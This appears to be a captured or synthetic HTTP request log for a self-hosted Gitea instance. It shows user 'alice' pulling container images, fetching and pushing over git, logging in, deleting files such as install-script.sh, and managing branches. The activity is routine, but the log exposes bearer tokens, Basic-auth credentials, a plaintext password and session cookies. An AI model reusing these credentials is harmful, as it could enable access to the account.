{"method": "GET", "target": "/v2/alice/python3-app/tags/list?n=1000", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/v2/alice/python3-app/tags/list?last=1.0&n=1000", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fdocker-build%3Apull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/v2/alice/docker-build/manifests/latest", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/v2/alice/docker-build/blobs/sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/v2/alice/docker-build/blobs/sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 473"], "body": "0011command=fetch001aagent=git/2.49.1-Linux0016object-format=sha10001000dthin-pack000fno-progress000dofs-delta0032want 0992a6293c77c3ef1f9a8d37b774deddcbef2e23\n0032want 4b5ec1aab65272b63b5b1f39bfc2c14684c063a0\n0032want 0992a6293c77c3ef1f9a8d37b774deddcbef2e23\n0032want f7ffa60396d99f61315a5a9a225fc32eb6228fdb\n0032want bbe5223a9a4f84e7c3d7206f4bdd062239e8309b\n0032want 15e1fb0f45ffdb9d4d07ccf23b8971fca09ab2ca\n0032want 15e1fb0f45ffdb9d4d07ccf23b8971fca09ab2ca\n0009done\n0000"}
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 519"], "body": "MDBiZDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgY2M0ZDVlMDVlMWIzMTg0ZjQ3MTZlZDE1OGQyNWI4Y2ZhZTM4NzU0MyByZWZzL2hlYWRzL2RvY2tlci1idWlsZAAgcmVwb3J0LXN0YXR1cy12MiBzaWRlLWJhbmQtNjRrIHF1aWV0IG9iamVjdC1mb3JtYXQ9c2hhMSBhZ2VudD1naXQvMi40OS4xLUxpbnV4MDAwMFBBQ0sAAAACAAAABJENeJyVi10KwjAQBt9zirwLkp+2mwURffcSm80XLLS2tBE8vvUIzsvAwLQNsIQsA+D7mAjJkfOSMVTppEKZNUCVAwezyoZXs445yBA4KpFGVF9ZUomUibqCUjSjBoRo5N2ey2bv06iwF/npho/M64SzLvPVeuIupuD73p7cgTnqPLaGvybzGPdm6zhhN18fLT8K8AKeTXt+RMTzqiOmBNVYae5fWGAYnHice8b0jGmDCaOIb2jBcr50ZZ79x/sfSmXMOBZVkFs42YNRDgDQmAyf9gKBbcdPQPqMH4Wr8ShABeE9G0Q2EXic62RcwzjBRCYns7hErziDQav39///EVurZi0SCOP5u3X/31Yu/om6MQA3nhDoN3icyylW0M1J5AIACRECBP3ERXDJ4M4Guqo/ktYk+wdQ6W4g"}
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 193"], "body": "00bdcc4d5e05e1b3184f4716ed158d25b8cfae387543 0000000000000000000000000000000000000000 refs/heads/docker-build\u0000 report-status-v2 side-band-64k quiet object-format=sha1 agent=git/2.49.1-Linux0000"}
{"method": "GET", "target": "/alice/powershell-scripts.git/info/refs?service=git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache", "Git-Protocol: version=2"], "body": ""}
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/explore/repos", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/explore/users?q=alice", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/explore/users?q=alice", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/alice/tools/raw/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases/tag/v1.1.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/alice/-/packages/generic/tools/1.2.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/alice/-/packages/container/python3-app/1.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/user/login?redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases/download/v1.1.0/tools-linux-amd64.tar.gz", "headers": ["user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "accept: */*", "accept-encoding: gzip,deflate,br", "cookie: redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Host: example.com", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases/download/v1.2.0/install-script.sh", "headers": ["user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "accept: */*", "accept-encoding: gzip,deflate,br", "cookie: redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Host: example.com", "Connection: keep-alive"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 43", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login?redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml"], "body": "user_name=alice&password=Hv4-mQz8-Lr2x-Tp9w"}
{"method": "GET", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login?redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/eventsource.sharedworker.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages/generic/install-script/1.0.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=python3&type=container", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/-/packages?q=python3&type=container", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages/container/python3-app/1.0/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/context-popup.21e2b8da.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 168", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "last_commit=0992a6293c77c3ef1f9a8d37b774deddcbef2e23&commit_summary=Remove+.htaccess&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
{"method": "GET", "target": "/alice/tools/src/branch/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DFile%2B%2522.htaccess%2522%2Bhas%2Bbeen%2Bdeleted."], "body": ""}
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/src/branch/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/src/branch/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 186", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "last_commit=cf1f6e0dcb6e2685ce4ffcc1225d31c65cd64d26&commit_summary=Remove+scripts%2Finstall-script.sh&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
{"method": "GET", "target": "/alice/tools/src/branch/main/scripts", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DFile%2B%2522scripts%252Finstall-script.sh%2522%2Bhas%2Bbeen%2Bdeleted."], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/src/branch/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "new_branch_name=docker-build"}
{"method": "GET", "target": "/alice/tools/src/branch/docker-build/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/src/branch/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DBranch%2B%2522docker-build%2522%2Bhas%2Bbeen%2Bcreated."], "body": ""}
{"method": "POST", "target": "/alice/tools/branches/delete?name=docker-build&page=1", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 44", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylgvDcSqmeTmS8iNm", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "------WebKitFormBoundarylgvDcSqmeTmS8iNm--\r\n"}
{"method": "GET", "target": "/alice/tools/branches?page=1", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DBranch%2B%2522docker-build%2522%2Bhas%2Bbeen%2Bdeleted."], "body": ""}
{"method": "POST", "target": "/alice/tools/settings/rename_branch", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"}
